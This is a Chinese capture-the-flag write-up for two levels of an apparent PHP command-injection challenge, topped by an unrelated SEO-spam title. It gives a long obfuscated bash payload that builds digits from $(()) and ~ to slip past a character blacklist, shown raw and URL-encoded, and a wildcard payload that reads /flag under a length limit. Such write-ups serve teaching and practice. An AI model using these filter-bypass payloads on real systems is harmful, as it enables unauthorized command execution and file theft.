网站建设费用北京百度关键词快速优化

Level 13

源码分析

• 这题又回到了 PHP
• 重点关注

  preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)
  

• 禁用了所有数字, 并且回到了 PHP, 没办法用上一关的方法进行绕过
• 但是比起上一关, 给我们少绕过了 &, ~, _
• 似乎有其他方法

解题分析

• 利用 $(()) 和 ~(取反操作) 进行构造数字
• 这里就举一个例子, 如何构造数字 1, 我只能感叹太巧了(用电脑看吧, 手机看格式加载太奇怪了, 真不行去看原文链接)

  这里假设有符号整数只是1比特$(())     $(())       -> 0                              (二进制为 0000) (只写出一个)~$(())     ~$(())	           -> ~0   (二进制为 ~0000) (只写出一个)~$(())     ~$(())               -> ~0   (二进制为 ~0000) (只写出一个)$((~$(())))$((~$(())))         -> -1   (二进制为 1111) (只写出一个)$(($((~$(())))$((~$(())))))      -> -2   (二进制为 1110)~$(($((~$(())))$((~$(())))))            -> ~-2  (二进制为 ~1110)
  $((~$(($((~$(())))$((~$(())))))))        -> 1    (二进制为 0001)
  

  • 剩下的就自己推吧

    oct_list = [  # 构造数字 0-7 以便于后续八进制形式的构造'$(())',  # 0'$((~$(($((~$(())))$((~$(())))))))',  # 1'$((~$(($((~$(())))$((~$(())))$((~$(())))))))',  # 2'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 3'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 4'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 5'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 6'$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))',  # 7
    ]
    

• ${!#} 来表示 bash 在本关的 PHP 环境并不适用, 只能通过定义变量的方式进行
  • 先定义一个 变量 __, 并赋值为 0, 即 __=0
    • 这里注意终端的命名规则
    • 变量命名规范是以下划线或者英文字母开头，可以包含下划线和英文字母数字
    • 所以不能使用一个 _ 作为变量名
• 然后通过 ${!__} 的方式来代替 $0, 即终端名
• 而定义变量与获取flag的命令之间采用 && 连接
• 最后 payload 如下

  __=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
  

解题步骤

• 这一题又是 GET 传递参数, 又需要进行URL编码, 因为这里新加入了 =, &符号, 为了方便, 直接全部拿去 URL编码 了, 最后 Payload 如下

?cmd=%5f%5f%3d%24%28%28%29%29%26%26%24%7b%21%5f%5f%7d%3c%3c%3c%24%7b%21%5f%5f%7d%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%27

• 

Level 14

源码分析

• 这一关采用了 strlen() 函数检测命令长度
• 并只允许执行小于 7个字符的命令

解题分析

• 应该还记得前几关使用的通配符吧
• 把 cat /flag 压缩到 7个字符以下应该不难吧

解题步骤

• Payload 如下

  ?1=cat%20/f*